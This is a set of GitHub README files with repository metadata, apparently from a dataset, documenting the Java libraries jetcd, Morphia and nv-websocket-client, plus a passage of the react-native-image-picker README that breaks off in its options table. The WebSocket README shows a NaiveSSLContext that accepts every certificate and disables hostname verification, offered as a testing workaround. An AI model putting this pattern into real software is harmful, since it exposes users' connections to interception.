# jetcd - A Java Client for etcd [![Build Status](https://github.com/etcd-io/jetcd/actions/workflows/build-main.yml/badge.svg)](https://github.com/etcd-io/jetcd/actions) [![License](https://img.shields.io/badge/Licence-Apache%202.0-blue.svg?style=flat-square)](http://www.apache.org/licenses/LICENSE-2.0.html) [![Maven Central](https://img.shields.io/maven-central/v/io.etcd/jetcd-core.svg?style=flat-square)](https://search.maven.org/#search%7Cga%7C1%7Cio.etcd) [![Javadocs](http://www.javadoc.io/badge/io/etcd/jetcd-core.svg)](https://javadoc.io/doc/io.etcd/jetcd-core) jetcd is the official java client for [etcd](https://github.com/etcd-io/etcd) v3. > Note: jetcd is work-in-progress and may break backward compatibility. ## Java Versions Java 11 or above is required. ## Download ### Maven ```xml <dependency> <groupId>io.etcd</groupId> <artifactId>jetcd-core</artifactId> <version>${jetcd-version}</version> </dependency> ``` Development snapshots are available in [Sonatypes's snapshot repository](https://oss.sonatype.org/content/repositories/snapshots/io/etcd/). ### Gradle ``` dependencies { implementation "io.etcd:jetcd-core:$jetcd-version" } ``` ### Usage ```java // create client using endpoints Client client = Client.builder().endpoints("http://etcd0:2379", "http://etcd1:2379", "http://etcd2:2379").build(); ``` ```java // create client using target which enable using any name resolution mechanism provided // by grpc-java (i.e. dns:///foo.bar.com:2379) Client client = Client.builder().target("ip:///etcd0:2379,etcd1:2379,etcd2:2379").build(); ``` ```java KV kvClient = client.getKVClient(); ByteSequence key = ByteSequence.from("test_key".getBytes()); ByteSequence value = ByteSequence.from("test_value".getBytes()); // put the key-value kvClient.put(key, value).get(); // get the CompletableFuture CompletableFuture<GetResponse> getFuture = kvClient.get(key); // get the value from CompletableFuture GetResponse response = getFuture.get(); // delete the key kvClient.delete(key).get(); ``` To build one ssl secured client, refer to [secured client config](docs/SslConfig.md). For full etcd v3 API, plesase refer to the [official API documentation](https://etcd.io/docs/current/learning/api/). ### Examples The [jetcd-ctl](https://github.com/etcd-io/jetcd/tree/master/jetcd-ctl) is a standalone projects that show usage of jetcd. ## Launcher The `io.etcd:jetcd-test` offers a convenient utility to programmatically start & stop an isolated `etcd` server. This can be very useful e.g. for integration testing, like so: ```java import io.etcd.jetcd.Client; import io.etcd.jetcd.test.EtcdClusterExtension; import org.junit.jupiter.api.extension.RegisterExtension; @RegisterExtension public static final EtcdClusterExtension cluster = EtcdClusterExtension.builder() .withNodes(1) .build(); Client client = Client.builder().endpoints(cluster.clientEndpoints()).build(); ``` This launcher uses the Testcontainers framework. For more info and prerequisites visit [testcontainers.org](https://www.testcontainers.org). ## Versioning The project follows [Semantic Versioning](http://semver.org/). The current major version is zero (0.y.z). Anything may change at any time. The public API should not be considered stable. ## Build from source The project can be built with [Gradle](https://gradle.org/): ``` ./gradlew compileJava ``` ## Running tests The project is tested against a three node `etcd` setup started with the Launcher (above) : ```sh $ ./gradlew test ```` ### Troubleshooting It recommmonds building the project before running tests so that you have artifacts locally. It will solve some problems if the latest snapshot hasn't been uploaded or network issues. ## Contact * Mailing list: [etcd-dev](https://groups.google.com/g/etcd-dev) ## Contributing See [CONTRIBUTING](https://github.com/etcd-io/jetcd/blob/master/CONTRIBUTING.md) for details on submitting patches and the contribution workflow. ## License jetcd is under the Apache 2.0 license. See the [LICENSE](https://github.com/etcd-io/jetcd/blob/master/LICENSE) file for details.
0
MorphiaOrg/morphia
MongoDB object-document mapper in Java based on https://github.com/mongodb/mongo-java-driver
java kotlin mongodb odm
# Morphia [![Build Status](https://github.com/MorphiaOrg/morphia/actions/workflows/build.yml/badge.svg)](https://github.com/MorphiaOrg/morphia/actions?query=workflow%3ATests) See [here](https://morphia.dev) for the official documentation. To see the roadmap, please see [here](Roadmap.md). A list of the resolved issues can be found [here](CHANGELOG.md) or in the [milestones](https://github.com/MorphiaOrg/morphia/milestones) section on github. Fancy a more real time chat? Join the discord server [here](https://discord.gg/saZsJescBa).
0
TakahikoKawasaki/nv-websocket-client
High-quality WebSocket client implementation in Java.
null
nv-websocket-client =================== Overview -------- High-quality WebSocket client implementation in Java which - complies with [RFC 6455](https://tools.ietf.org/html/rfc6455) (The WebSocket Protocol), - works on Java SE 1.5+ and Android, - supports all the frame types (continuation, binary, text, close, ping and pong), - provides a method to send a fragmented frame in addition to methods for unfragmented frames, - provides a method to get the underlying raw socket of a WebSocket to configure it, - provides a method for [Basic Authentication](https://tools.ietf.org/html/rfc2617), - provides a factory class which utilizes javax.net.SocketFactory interface, - provides a rich listener interface to hook WebSocket events, - has fine-grained error codes for fine-grained controllability on errors, - allows to disable validity checks on RSV1/RSV2/RSV3 bits and opcode of frames, - supports HTTP proxy, especially "Secure WebSocket" (`wss`) through "Secure Proxy" (`https`), - and supports [RFC 7692](https://tools.ietf.org/html/rfc7692) (Compression Extensions for WebSocket), also known as _permessage-deflate_ (not enabled by default). License ------- Apache License, Version 2.0 Maven ----- ```xml <dependency> <groupId>com.neovisionaries</groupId> <artifactId>nv-websocket-client</artifactId> <version>2.14</version> </dependency> ``` Gradle ------ ```Gradle dependencies { compile 'com.neovisionaries:nv-websocket-client:2.14' } ``` OSGi ---- Bundle-SymbolicName: com.neovisionaries.ws.client Export-Package: com.neovisionaries.ws.client;version="2.14.0" Source Code ----------- <code>https://github.com/TakahikoKawasaki/nv-websocket-client.git</code> JavaDoc ------- <code>https://TakahikoKawasaki.github.io/nv-websocket-client/</code> Description ----------- #### Create WebSocketFactory `WebSocketFactory` is a factory class that creates `WebSocket` instances. The first step is to create a `WebSocketFactory` instance. ```java // Create a WebSocketFactory instance. WebSocketFactory factory = new WebSocketFactory(); ``` By default, `WebSocketFactory` uses `SocketFactory.getDefault()` for non-secure WebSocket connections (`ws:`) and `SSLSocketFactory.getDefault()` for secure WebSocket connections (`wss:`). You can change this default behavior by using `WebSocketFactory.setSocketFactory` method, `WebSocketFactory.setSSLSocketFactory` method and `WebSocketFactory.setSSLContext` method. Note that you don't have to call a `setSSL*` method at all if you use the default SSL configuration. Also note that calling `setSSLSocketFactory` method has no meaning if you have called `setSSLContext` method. See the [description](https://takahikokawasaki.github.io/nv-websocket-client/com/neovisionaries/ws/client/WebSocketFactory.html#createSocket-java.net.URI-) of `WebSocketFactory.createSocket(URI)` method for details. The following is an example to set a custom SSL context to a `WebSocketFactory` instance. (Again, you don't have to call a `setSSL*` method if you use the default SSL configuration.) ```java // Create a custom SSL context. SSLContext context = NaiveSSLContext.getInstance("TLS"); // Set the custom SSL context. factory.setSSLContext(context); // Disable manual hostname verification for NaiveSSLContext. // // Manual hostname verification has been enabled since the // version 2.1. Because the verification is executed manually // after Socket.connect(SocketAddress, int) succeeds, the // hostname verification is always executed even if you has // passed an SSLContext which naively accepts any server // certificate. However, this behavior is not desirable in // some cases and you may want to disable the hostname // verification. You can disable the hostname verification // by calling WebSocketFactory.setVerifyHostname(false). factory.setVerifyHostname(false); ``` [NaiveSSLContext](https://gist.github.com/TakahikoKawasaki/d07de2218b4b81bf65ac) used in the above example is a factory class to create an `SSLContext` which naively accepts all certificates without verification. It's enough for testing purposes. When you see an error message "unable to find valid certificate path to requested target" while testing, try `NaiveSSLContext`. SNI (Server Name Indication) is supported since version 2.4. To set up server names, call either `setServerNames(String[])` method or `setServerName(String)` method. If your system has `SSLParameters.setServerNames(List<SNIServerName>)` method, the method is called via reflection. Note that `SSLParameters.setServerNames` is a relatively new method and it is not available before Java 1.8 and Android 7.0 (API Level 24). ```java // Set a server name for SNI (Server Name Indication). factory.setServerName("example.com"); ``` #### HTTP Proxy If a WebSocket endpoint needs to be accessed via an HTTP proxy, information about the proxy server has to be set to a `WebSocketFactory` instance before creating a `WebSocket` instance. Proxy settings are represented by `ProxySettings` class. A `WebSocketFactory` instance has an associated `ProxySettings` instance and it can be obtained by calling `WebSocketFactory.getProxySettings()` method. ```java // Get the associated ProxySettings instance. ProxySettings settings = factory.getProxySettings(); ``` `ProxySettings` class has methods to set information about a proxy server such as `setHost` method and `setPort` method. The following is an example to set a secure (`https`) proxy server. ```java // Set a proxy server. settings.setServer("https://proxy.example.com"); ``` If credentials are required for authentication at a proxy server, `setId` method and `setPassword` method, or `setCredentials` method can be used to set the credentials. Note that, however, the current implementation supports only Basic Authentication. ```java // Set credentials for authentication at a proxy server. settings.setCredentials(id, password); ``` SNI (Server Name Indication) is supported since version 2.4. To set up server names, call either `setServerNames(String[])` method or `setServerName(String)` method. If your system has `SSLParameters.setServerNames(List<SNIServerName>)` method, the method is called via reflection. Note that `SSLParameters.setServerNames` is a relatively new method and it is not available before Java 1.8 and Android 7.0 (API Level 24). ```java // Set a server name for SNI (Server Name Indication). settings.setServerName("example.com"); ``` #### Create WebSocket `WebSocket` class represents a WebSocket. Its instances are created by calling one of `createSocket` methods of a `WebSocketFactory` instance. Below is the simplest example to create a `WebSocket` instance. ```java // Create a WebSocket. The scheme part can be one of the following: // 'ws', 'wss', 'http' and 'https' (case-insensitive). The user info // part, if any, is interpreted as expected. If a raw socket failed // to be created, an IOException is thrown. WebSocket ws = new WebSocketFactory().createSocket("ws://localhost/endpoint"); ``` There are two ways to set a timeout value for socket connection. The first way is to call `setConnectionTimeout(int timeout)` method of `WebSocketFactory`. ```java // Create a WebSocket factory and set 5000 milliseconds as a timeout // value for socket connection. WebSocketFactory factory = new WebSocketFactory().setConnectionTimeout(5000); // Create a WebSocket. The timeout value set above is used. WebSocket ws = factory.createSocket("ws://localhost/endpoint"); ``` The other way is to give a timeout value to a `createSocket` method. ```java // Create a WebSocket factory. The timeout value remains 0. WebSocketFactory factory = new WebSocketFactory(); // Create a WebSocket with a socket connection timeout value. WebSocket ws = factory.createSocket("ws://localhost/endpoint", 5000); ``` The timeout value is passed to `connect(SocketAddress, int)` method of `java.net.Socket`. #### Register Listener After creating a `WebSocket` instance, you should call `addListener` method to register a `WebSocketListener` that receives WebSocket events. `WebSocketAdapter` is an empty implementation of `WebSocketListener` interface. ```java // Register a listener to receive WebSocket events. ws.addListener(new WebSocketAdapter() { @Override public void onTextMessage(WebSocket websocket, String message) throws Exception { // Received a text message. ...... } }); ``` The table below is the list of callback methods defined in `WebSocketListener` interface. | Method | Description | |:------------------------------|:-----------------------------------------------------| | `handleCallbackError` | Called when an `onXxx()` method threw a `Throwable`. | | `onBinaryFrame` | Called when a binary frame was received. | | `onBinaryMessage` | Called when a binary message was received. | | `onCloseFrame` | Called when a close frame was received. | | `onConnected` | Called after the opening handshake succeeded. | | `onConnectError` | Called when `connectAsynchronously()` failed. | | `onContinuationFrame` | Called when a continuation frame was received. | | `onDisconnected` | Called after a WebSocket connection was closed. | | `onError` | Called when an error occurred. | | `onFrame` | Called when a frame was received. | | `onFrameError` | Called when a frame failed to be read. | | `onFrameSent` | Called when a frame was sent. | | `onFrameUnsent` | Called when a frame was not sent. | | `onMessageDecompressionError` | Called when a message failed to be decompressed. | | `onMessageError` | Called when a message failed to be constructed. | | `onPingFrame` | Called when a ping frame was received. | | `onPongFrame` | Called when a pong frame was received. | | `onSendError` | Called when an error occurred on sending a frame. | | `onSendingFrame` | Called before a frame is sent. | | `onSendingHandshake` | Called before an opening handshake is sent. | | `onStateChanged` | Called when the state of WebSocket changed. | | `onTextFrame` | Called when a text frame was received. | | `onTextMessage` | Called when a text message was received. | | `onTextMessageError` | Called when a text message failed to be constructed. | | `onThreadCreated` | Called after a thread was created. | | `onThreadStarted` | Called at the beginning of a thread's run() method. | | `onThreadStopping` | Called at the end of a thread's run() method. | | `onUnexpectedError` | Called when an uncaught throwable was detected. | #### Configure WebSocket Before starting a WebSocket [opening handshake](https://tools.ietf.org/html/rfc6455#section-4) with the server, you can configure the WebSocket instance by using the following methods. | METHOD | DESCRIPTION | |----------------------|---------------------------------------------------------| | `addProtocol` | Adds an element to `Sec-WebSocket-Protocol`. | | `addExtension` | Adds an element to `Sec-WebSocket-Extensions`. | | `addHeader` | Adds an arbitrary HTTP header. | | `setUserInfo` | Adds `Authorization` header for Basic Authentication. | | `getSocket` | Gets the underlying `Socket` instance to configure it. Note that this may return `null` since version 2.9. Consider using `getConnectedSocket()` as necessary. | | `getConnectedSocket` | Establishes and gets the underlying `Socket` instance to configure it. Available since version 2.9. | | `setExtended` | Disables validity checks on RSV1/RSV2/RSV3 and opcode. | | `setFrameQueueSize` | Set the size of the frame queue for congestion control. | | `setMaxPayloadSize` | Set the maximum payload size. | | `setMissingCloseFrameAllowed` | Set to whether to allow the server to close the connection without sending a close frame. | #### Connect To Server By calling `connect()` method, connection to the server is established and a WebSocket opening handshake is performed synchronously. If an error occurred during the handshake, a `WebSocketException` would be thrown. Instead, if the handshake succeeds, the `connect()` implementation creates threads and starts them to read and write WebSocket frames asynchronously. ```java try { // Connect to the server and perform an opening handshake. // This method blocks until the opening handshake is finished. ws.connect(); } catch (OpeningHandshakeException e) { // A violation against the WebSocket protocol was detected // during the opening handshake. } catch (HostnameUnverifiedException e) { // The certificate of the peer does not match the expected hostname. } catch (WebSocketException e) { // Failed to establish a WebSocket connection. } ``` In some cases, `connect()` method throws `OpeningHandshakeException` which is a subclass of `WebSocketException` (since version 1.19). `OpeningHandshakeException` provides additional methods such as `getStatusLine()`, `getHeaders()` and `getBody()` to access the response from a server. The following snippet is an example to print information that the exception holds. ```java catch (OpeningHandshakeException e) { // Status line. StatusLine sl = e.getStatusLine(); System.out.println("=== Status Line ==="); System.out.format("HTTP Version = %s\n", sl.getHttpVersion()); System.out.format("Status Code = %d\n", sl.getStatusCode()); System.out.format("Reason Phrase = %s\n", sl.getReasonPhrase()); // HTTP headers. Map<String, List<String>> headers = e.getHeaders(); System.out.println("=== HTTP Headers ==="); for (Map.Entry<String, List<String>> entry : headers.entrySet()) { // Header name. String name = entry.getKey(); // Values of the header. List<String> values = entry.getValue(); if (values == null || values.size() == 0) { // Print the name only. System.out.println(name); continue; } for (String value : values) { // Print the name and the value. System.out.format("%s: %s\n", name, value); } } } ``` Also, `connect()` method throws `HostnameUnverifiedException` which is a subclass of `WebSocketException` (since version 2.1) when the certificate of the peer does not match the expected hostname. #### Connect To Server Asynchronously The simplest way to call `connect()` method asynchronously is to use `connectAsynchronously()` method. The implementation of the method creates a thread and calls `connect()` method in the thread. When the `connect()` call failed, `onConnectError()` of `WebSocketListener` would be called. Note that `onConnectError()` is called only when `connectAsynchronously()` was used and the `connect()` call executed in the background thread failed. Neither direct synchronous `connect()` nor `connect(ExecutorService)` (described below) will trigger the callback method. ```java // Connect to the server asynchronously. ws.connectAsynchronously(); ``` Another way to call `connect()` method asynchronously is to use `connect(ExecutorService)` method. The method performs a WebSocket opening handshake asynchronously using the given `ExecutorService`. ```java // Prepare an ExecutorService. ExecutorService es = Executors.newSingleThreadExecutor(); // Connect to the server asynchronously. Future<WebSocket> future = ws.connect(es); try { // Wait for the opening handshake to complete. future.get(); } catch (ExecutionException e) { if (e.getCause() instanceof WebSocketException) { ...... } } ``` The implementation of `connect(ExecutorService)` method creates a `Callable<WebSocket>` instance by calling `connectable()` method and passes the instance to `submit(Callable)` method of the given `ExecutorService`. What the implementation of `call()` method of the `Callable` instance does is just to call the synchronous `connect()`. #### Send Frames WebSocket frames can be sent by `sendFrame` method. Other `sendXxx` methods such as `sendText` are aliases of `sendFrame` method. All of the `sendXxx` methods work asynchronously. However, under some conditions, `sendXxx` methods may block. See Congestion Control for details. Below are some examples of `sendXxx` methods. Note that in normal cases, you don't have to call `sendClose` method and `sendPong` method (or their variants) explicitly because they are called automatically when appropriate. ```java // Send a text frame. ws.sendText("Hello."); // Send a binary frame. byte[] binary = ......; ws.sendBinary(binary); // Send a ping frame. ws.sendPing("Are you there?"); ``` If you want to send fragmented frames, you have to know the details of the specification ([5.4. Fragmentation](https://tools.ietf.org/html/rfc6455#section-5.4)). Below is an example to send a text message (`"How are you?"`) which consists of 3 fragmented frames. ```java // The first frame must be either a text frame or a binary frame. // And its FIN bit must be cleared. WebSocketFrame firstFrame = WebSocketFrame .createTextFrame("How ") .setFin(false); // Subsequent frames must be continuation frames. The FIN bit of // all continuation frames except the last one must be cleared. // Note that the FIN bit of frames returned from // WebSocketFrame.createContinuationFrame() method is cleared, // so the example below does not clear the FIN bit explicitly. WebSocketFrame secondFrame = WebSocketFrame .createContinuationFrame("are "); // The last frame must be a continuation frame with the FIN bit // set. Note that the FIN bit of frames returned from // WebSocketFrame.createContinuationFrame methods is cleared, // so the FIN bit of the last frame must be set explicitly. WebSocketFrame lastFrame = WebSocketFrame .createContinuationFrame("you?") .setFin(true); // Send a text message which consists of 3 frames. ws.sendFrame(firstFrame) .sendFrame(secondFrame) .sendFrame(lastFrame); ``` Alternatively, the same as above can be done like this. ```java ws.sendText("How ", false) .sendContinuation("are ") .sendContinuation("you?", true); ``` #### Send Ping/Pong Frames Periodically You can send ping frames periodically by calling `setPingInterval` method with an interval in milliseconds between ping frames. This method can be called both before and after `connect()` method. Passing zero stops the periodical sending. ```java // Send a ping per 60 seconds. ws.setPingInterval(60 * 1000); // Stop the periodical sending. ws.setPingInterval(0); ``` Likewise, you can send pong frames periodically by calling `setPongInterval` method. "_A Pong frame MAY be sent **unsolicited**._" ([RFC 6455, 5.5.3. Pong](https://tools.ietf.org/html/rfc6455#section-5.5.3)) You can customize payload of ping/pong frames that are sent automatically by using `setPingPayloadGenerator()` and `setPongPayloadGenerator()` methods. Both methods take an instance of `PayloadGenerator` interface. The following is an example to use the string representation of the current date as payload of ping frames. ```java ws.setPingPayloadGenerator(new PayloadGenerator() { @Override public byte[] generate() { // The string representation of the current date. return new Date().toString().getBytes(); } }); ``` Note that the maximum payload length of control frames (e.g. ping frames) is 125. Therefore, the length of a byte array returned from `generate()` method must not exceed 125. You can change the names of the `Timer`s that send ping/pong frames periodically by using `setPingSenderName()` and `setPongSenderName()` methods. ```java // Change the Timers' names. ws.setPingSenderName("PING_SENDER"); ws.setPongSenderName("PONG_SENDER"); ``` #### Auto Flush By default, a frame is automatically flushed to the server immediately after `sendFrame` method is executed. This automatic flush can be disabled by calling `setAutoFlush(false)`. ```java // Disable auto-flush. ws.setAutoFlush(false); ``` To flush frames manually, call `flush()` method. Note that this method works asynchronously. ```java // Flush frames to the server manually. ws.flush(); ``` #### Congestion Control `sendXxx` methods queue a `WebSocketFrame` instance to the internal queue. By default, no upper limit is imposed on the queue size, so `sendXxx` methods do not block. However, this behavior may cause a problem if your WebSocket client application sends too many WebSocket frames in a short time for the WebSocket server to process. In such a case, you may want `sendXxx` methods to block when many frames are queued. You can set an upper limit on the internal queue by calling `setFrameQueueSize(int)` method. As a result, if the number of frames in the queue has reached the upper limit when a `sendXxx` method is called, the method blocks until the queue gets spaces. The code snippet below is an example to set 5 as the upper limit of the internal frame queue. ```java // Set 5 as the frame queue size. ws.setFrameQueueSize(5); ``` Note that under some conditions, even if the queue is full, `sendXxx` methods do not block. For example, in the case where the thread to send frames (`WritingThread`) is going to stop or has already stopped. In addition, method calls to send a [control frame](https://tools.ietf.org/html/rfc6455#section-5.5) (e.g. `sendClose()` and `sendPing()`) do not block. #### Maximum Payload Size You can set an upper limit on the payload size of WebSocket frames by calling `setMaxPayloadSize(int)` method with a positive value. Text, binary and continuation frames whose payload size is bigger than the maximum payload size you have set will be split into multiple frames. ```java // Set 1024 as the maximum payload size. ws.setMaxPayloadSize(1024); ``` Control frames (close, ping and pong frames) are never split as per the specification. If permessage-deflate extension is enabled and if the payload size of a WebSocket frame after compression does not exceed the maximum payload size, the WebSocket frame is not split even if the payload size before compression exceeds the maximum payload size. #### Compression The **permessage-deflate** extension ([RFC 7692](https://tools.ietf.org/html/rfc7692)) has been supported since the version 1.17. To enable the extension, call `addExtension` method with `permessage-deflate`. ```java // Enable "permessage-deflate" extension (RFC 7692). ws.addExtension(WebSocketExtension.PERMESSAGE_DEFLATE); ``` #### Missing Close Frame Some server implementations close a WebSocket connection without sending a close frame to a client in some cases. Strictly speaking, this is a violation against the specification ([RFC 6455](https://tools.ietf.org/html/rfc6455)). However, this library has allowed the behavior by default since the version 1.29. Even if the end of the input stream of a WebSocket connection were reached without a close frame being received, it would trigger neither `onError` method nor `onFrameError` method of `WebSocketListener`. If you want to make a `WebSocket` instance report an error in the case, pass `false` to `setMissingCloseFrameAllowed` method. ```java // Make this library report an error when the end of the input stream // of the WebSocket connection is reached before a close frame is read. ws.setMissingCloseFrameAllowed(false); ``` #### Direct Text Message When a text message was received, `onTextMessage(WebSocket, String)` is called. The implementation internally converts the byte array of the text message into a `String` object before calling the listener method. If you want to receive the byte array directly without the string conversion, call `setDirectTextMessage(boolean)` with `true`, and `onTextMessage(WebSocket, byte[])` will be called instead. ```java // Receive text messages without string conversion. ws.setDirectTextMessage(true); ``` #### Disconnect WebSocket Before a WebSocket is closed, a closing handshake is performed. A closing handshake is started (1) when the server sends a close frame to the client or (2) when the client sends a close frame to the server. You can start a closing handshake by calling `disconnect()` method (or by sending a close frame manually). ```java // Close the WebSocket connection. ws.disconnect(); ``` `disconnect()` method has some variants. If you want to change the close code and the reason phrase of the close frame that this client will send to the server, use a variant method such as `disconnect(int, String)`. `disconnect()` itself is an alias of `disconnect(WebSocketCloseCode.NORMAL, null)`. #### Reconnection `WebSocket.connect()` method can be called at most only once regardless of whether the method succeeded or failed. If you want to re-connect to the WebSocket endpoint, you have to create a new `WebSocket` instance again by calling one of `createSocket` methods of a `WebSocketFactory`. You may find `recreate()` method useful if you want to create a new `WebSocket` instance that has the same settings as the original instance. Note that, however, settings you made on the raw socket of the original `WebSocket` instance are not copied. ```java // Create a new WebSocket instance and connect to the same endpoint. ws = ws.recreate().connect(); ``` There is a variant of `recreate()` method that takes a timeout value for socket connection. If you want to use a timeout value that is different from the one used when the existing `WebSocket` instance was created, use `recreate(int timeout)` method. Note that you should not trigger reconnection in `onError()` method because `onError()` may be called multiple times due to one error. Instead, `onDisconnected()` is the right place to trigger reconnection. Also note that the reason I use an expression of "to trigger reconnection" instead of "to call `recreate().connect()`" is that I myself won't do it _synchronously_ in `WebSocketListener` callback methods but will just schedule reconnection or will just go to the top of a kind of _application loop_ that repeats to establish a WebSocket connection until it succeeds. #### Error Handling `WebSocketListener` has some `onXxxError()` methods such as `onFrameError()` and `onSendError()`. Among such methods, `onError()` is a special one. It is always called before any other `onXxxError()` is called. For example, in the implementation of `run()` method of `ReadingThread`, `Throwable` is caught and `onError()` and `onUnexpectedError()` are called in this order. The following is the implementation. ```java @Override public void run() { try { main(); } catch (Throwable t) { // An uncaught throwable was detected in the reading thread. WebSocketException cause = new WebSocketException( WebSocketError.UNEXPECTED_ERROR_IN_READING_THREAD, "An uncaught throwable was detected in the reading thread", t); // Notify the listeners. ListenerManager manager = mWebSocket.getListenerManager(); manager.callOnError(cause); manager.callOnUnexpectedError(cause); } } ``` So, you can handle all error cases in `onError()` method. However, note that `onError()` may be called multiple times for one error cause, so don't try to trigger reconnection in `onError()`. Instead, `onDisconnected()` is the right place to trigger reconnection. All `onXxxError()` methods receive a `WebSocketException` instance as the second argument (the first argument is a `WebSocket` instance). The exception class provides `getError()` method which returns a `WebSocketError` enum entry. Entries in `WebSocketError` enum are possible causes of errors that may occur in the implementation of this library. The error causes are so granular that they can make it easy for you to find the root cause when an error occurs. `Throwable`s thrown by implementations of `onXxx()` callback methods are passed to `handleCallbackError()` of `WebSocketListener`. ```java public void handleCallbackError(WebSocket websocket, Throwable cause) throws Exception { // Throwables thrown by onXxx() callback methods come here. } ``` #### Thread Callbacks Some threads are created internally in the implementation of `WebSocket`. Known threads are as follows. | Thread Type | Description | |:-----------------|:------------------------------------------------------------| | `READING_THREAD` | A thread which reads WebSocket frames from the server. | | `WRITING_THREAD` | A thread which sends WebSocket frames to the server. | | `CONNECT_THREAD` | A thread which calls `WebSocket.connect()` asynchronously. | | `FINISH_THREAD` | A thread which does finalization of a `WebSocket` instance. | The following callack methods of `WebSocketListener` are called according to the life cycle of the threads. | Method | Description | |:---------------------|:--------------------------------------------------------| | `onThreadCreated()` | Called after a thread was created. | | `onThreadStarted()` | Called at the beginning of the thread's `run()` method. | | `onThreadStopping()` | Called at the end of the thread's `run()` method. | For example, if you want to change the name of the reading thread, implement `onThreadCreated()` method like below. ```java @Override public void onThreadCreated(WebSocket ws, ThreadType type, Thread thread) { if (type == ThreadType.READING_THREAD) { thread.setName("READING_THREAD"); } } ``` Sample Application ------------------ The following is a sample application that connects to the echo server on [websocket.org](https://www.websocket.org) (`ws://echo.websocket.org`) and repeats to (1) read a line from the standard input, (2) send the read line to the server and (3) prints the response from the server, until `exit` is entered. The source code can be downloaded from [Gist](https://gist.github.com/TakahikoKawasaki/e79d36bf91bf9508ddd2). ```java import java.io.*; import com.neovisionaries.ws.client.*; public class EchoClient { /** * The echo server on websocket.org. */ private static final String SERVER = "ws://echo.websocket.org"; /** * The timeout value in milliseconds for socket connection. */ private static final int TIMEOUT = 5000; /** * The entry point of this command line application. */ public static void main(String[] args) throws Exception { // Connect to the echo server. WebSocket ws = connect(); // The standard input via BufferedReader. BufferedReader in = getInput(); // A text read from the standard input. String text; // Read lines until "exit" is entered. while ((text = in.readLine()) != null) { // If the input string is "exit". if (text.equals("exit")) { // Finish this application. break; } // Send the text to the server. ws.sendText(text); } // Close the WebSocket. ws.disconnect(); } /** * Connect to the server. */ private static WebSocket connect() throws IOException, WebSocketException { return new WebSocketFactory() .setConnectionTimeout(TIMEOUT) .createSocket(SERVER) .addListener(new WebSocketAdapter() { // A text message arrived from the server. public void onTextMessage(WebSocket websocket, String message) { System.out.println(message); } }) .addExtension(WebSocketExtension.PERMESSAGE_DEFLATE) .connect(); } /** * Wrap the standard input with BufferedReader. */ private static BufferedReader getInput() throws IOException { return new BufferedReader(new InputStreamReader(System.in)); } } ``` Limitations ----------- * According to the specification ([RFC 6455](https://tools.ietf.org/html/rfc6455)), the maximum length of the payload part of a frame is (2^63 - 1), but this library cannot treat frames whose payload length is greater than (2^31 - 1). * HTTP response codes other than "101 Switching Protocols" from a WebSocket endpoint are not supported. Note that this means redirection (3xx) is not supported. * Currently, by default, `permessage-deflate` extension is not enabled. * As for [RFC 7692](https://tools.ietf.org/html/rfc7692). The current implementation does not support context takeover on the client side. Also, if the agreed size of the sliding window on the client side is less than the maximum size allowed by the specification (32,768) (this happens when a WebSocket server returns `client_max_window_bits` parameter with a value that is less than 15), outgoing frames are not compressed when the payload size before compression is bigger than the agreed sliding window size. Note ---- * The version 2.9 introduced a change that breaks backward compatibility where `WebSocket.getSocket()` may return null if the underlying socket has not been established yet. Consider using `getConnectedSocket()` method as necessary. See Also -------- - [RFC 6455](https://tools.ietf.org/html/rfc6455) The WebSocket Protocol - [RFC 7692](https://tools.ietf.org/html/rfc7692) Compression Extensions for WebSocket TODO ---- - SOCKS support - Public Key Pinning support ([RFC 7469](https://tools.ietf.org/html/rfc7469)) - And other [issues](https://github.com/TakahikoKawasaki/nv-websocket-client/issues) Acknowledgement --------------- - PR #107 has incorporated `DistinguishedNameParser` and `OkHostnameVerifier` into this library and they are from [okhttp](https://github.com/square/okhttp). Author ------ [Authlete, Inc.](https://www.authlete.com/)<br/> Takahiko Kawasaki &lt;taka@authlete.com&gt;
0
react-native-image-picker/react-native-image-picker
:sunrise_over_mountains: A React Native module that allows you to use native UI to select media from the device library or directly from the camera.
image-picker picker react-native
# react-native-image-picker 🎆 A React Native module that allows you to select a photo/video from the device library or camera. [![npm downloads](https://img.shields.io/npm/dw/react-native-image-picker)](https://img.shields.io/npm/dw/react-native-image-picker) [![npm package](https://img.shields.io/npm/v/react-native-image-picker?color=red)](https://img.shields.io/npm/v/react-native-image-picker?color=red) [![License](https://img.shields.io/github/license/react-native-image-picker/react-native-image-picker?color=blue)](https://github.com/react-native-image-picker/react-native-image-picker/blob/main/LICENSE.md) ## Installation ```bash yarn add react-native-image-picker ``` ### New Architecture To take advantage of the new architecture run- #### iOS ```bash RCT_NEW_ARCH_ENABLED=1 npx pod-install ios ``` #### Android Set `newArchEnabled` to `true` inside `android/gradle.properties` ### Pre-Fabric (AKA not using the new architecture) ```bash npx pod-install ios ``` ## Post-install Steps ### iOS Add the appropriate keys to your `Info.plist` depending on your requirement: | Requirement | Key | | ------------------------------ | --------------------------------------------------- | | Select image/video from photos | NSPhotoLibraryUsageDescription | | Capture Image | NSCameraUsageDescription | | Capture Video | NSCameraUsageDescription & NSMicrophoneUsageDescription | ### Android No permissions required (`saveToPhotos` requires permission [check](#note-on-file-storage)). Note: This library does not require `Manifest.permission.CAMERA`, if your app declares as using this permission in manifest then you have to obtain the permission before using `launchCamera`. ## API Reference ## Methods ```js import {launchCamera, launchImageLibrary} from 'react-native-image-picker'; ``` ### `launchCamera()` Launch camera to take photo or video. ```js launchCamera(options?, callback); // You can also use as a promise without 'callback': const result = await launchCamera(options?); ``` See [Options](#options) for further information on `options`. The `callback` will be called with a response object, refer to [The Response Object](#the-response-object). ### `launchImageLibrary` Launch gallery to pick image or video. ```js launchImageLibrary(options?, callback) // You can also use as a promise without 'callback': const result = await launchImageLibrary(options?); ``` See [Options](#options) for further information on `options`. The `callback` will be called with a response object, refer to [The Response Object](#the-response-object). ## Options | Option | iOS | Android | Web | Description | | ----------------------- | --- | ------- | --- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | mediaType | OK | OK | OK | `photo` or `video` or `mixed`(`launchCamera` on Android does not support 'mixed'). Web only supports 'photo' for now. | | maxWidth | OK | OK | NO | To resize the image. | | maxHeight | OK | OK | NO | To resize the image. | | videoQuality | OK | OK | NO | `low`, `medium`, or `high` on iOS, `low` or `high` on Android. | | durationLimit | OK | OK | NO | Video max duration (in seconds). | | quality | OK | OK | NO | 0 to 1, photos. | | cameraType | OK | OK | NO | 'back' or 'front' (May not be supported in few android devices). | | includeBase64 | OK | OK | OK | If `true`, creates base64 string of the image (Avoid using on large image files due to performance). | | includeExtra | OK | OK | NO | If `true`, will include extra data which requires library 